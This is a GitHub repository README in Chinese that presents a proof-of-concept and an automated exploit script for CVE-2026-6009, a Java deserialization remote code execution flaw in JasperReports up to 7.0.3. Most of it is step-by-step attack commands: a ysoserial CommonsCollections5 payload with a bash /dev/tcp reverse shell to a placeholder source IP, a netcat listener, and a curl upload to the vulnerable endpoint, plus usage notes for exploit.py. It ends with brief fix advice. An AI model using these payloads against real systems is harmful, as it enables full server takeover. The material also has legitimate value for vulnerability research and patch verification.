Pumila03/CVE-2026-6009
GitHub: Pumila03/CVE-2026-6009
该项目提供了针对 Jaspersoft Report 反序列化 RCE 漏洞(CVE-2026-6009)的概念验证代码和自动化利用脚本。
Stars: 0 | Forks: 0
# CVE-2026-6009
## 概念验证
### 摘要
**Jaspersoft report** 库版本 **≤ 7.0.3** 存在因利用 Java 反序列化流程导致的**远程代码执行(RCE)** 漏洞。攻击者可通过该漏洞在使用此版本库的系统上建立反向 Shell 连接。
- **库名称:** Jaspersoft report
- **受影响版本:** ≤ 7.0.3
- **漏洞类型:** 通过 Java 反序列化导致的 RCE
- **CVE 编号:** CVE-2026-6009
- **CVSS 评分:** 8.7(高危)
- **日期:** 2026-05-19
### 漏洞描述
为了传输数据,某些系统需要将对象转换为特定的可传输格式,此过程称为**序列化**。**反序列化**则是逆向操作。在 Java 中,漏洞机制在于 ```ObjectInputStream.readObject()```,该方法用于从输入流反序列化任意对象。由于 ```JRLoader.loadObject()``` 使用该方法读取 Jaspersoft 库中的 *.jasper* 文件报告,因此成为植入恶意代码的危险入口。
仅靠 ```readObject()``` 本身不足以触发代码执行,它仅对已知的可利用类起作用。攻击者利用已知的**利用链**(如 CommonCollection)来执行其负载。
### 环境
为了制作概念验证(PoC),我在一台 Parrot 机器上搭建了一个实验环境,该环境使用基于 Jaspersoft Report Library 的 Java Web 服务器:
**操作系统:** Parrot OS 7 GNU/Linux
**框架:** Spring Boot 2.7.18
**依赖:** Jasperreports 7.0.3
**环境:** Java 11
**编译器:** Maven
#### 漏洞代码示例:
```
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() appelé en interne par JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
```
### 复现步骤
1. **分析**
第一步,一旦确认目标系统使用了存在漏洞的 Jasperreport 版本,你需要找到目标系统接收 jasper 文件的具体位置。
在本环境中,该位置为 ```http://localhost:8080/upload-report```。
2. **检查漏洞**
接着,你需要找出在目标系统中哪些类可用作利用链。你也可以尝试几种方法,观察哪种能触发系统响应。
在白盒环境下,我们可以自行查找该信息:
```
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
```
我们发现该系统使用了 CommonsCollections。
3. **生成负载**
对于 CommonsCollections,使用 [ysoserial 脚本](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) 生成所需的负载。此处生成一个反向 Shell:
```
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
```
*可能需要测试多个版本的 CommonCollections 以成功执行负载。*
4. **准备漏洞利用**
为了建立反向 Shell 连接,我们需要在某端口上监听,以接收由目标系统根据负载发起的连接:
```
nc -lnvp 4444
```
5. **漏洞利用**
最后,只需将生成的负载发送到找到的目标位置,并检查你的端口以确认目标系统已成功建立连接:
```
curl -X POST http://localhost:8080/upload-report -F "file=@file.jasper"
```
### 影响
具有该端点访问权限的攻击者可利用服务器权限执行任意代码,进而导致系统完全沦陷。
### 修复建议
- 将 JasperReports 升级至 7.0.4+ 版本
- 切勿反序列化来自未知来源的 .jasper 文件
- 对授权类实施白名单机制
## 脚本
### 描述
```exploit.py``` 是一个自动化脚本,用于复现 CVE-2026-6009 漏洞的利用过程。
### 使用方法
```
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
```
### 选项
|标志|说明|
|:------:|:-----:|
|-t, --target| 上传 *.jasper* 文件的目标位置|
|-s, --source| 你的 IP 地址|
|-p, --port| 反向 Shell 要连接的端口|
标签:CVE-2026-6009, Go语言工具, Jaspersoft报表, Java反序列化, JS文件枚举, Maven, Maven, ObjectInputStream, Parrot OS, PoC, RCE, Spring Boot, 代码执行, 反序列化攻击, 威胁模拟, 安全漏洞, 库漏洞, 文件上传, 暴力破解, 服务器端攻击, 漏洞验证, 漏洞验证, 编程工具, 远程代码执行, 逆向工具, 高危漏洞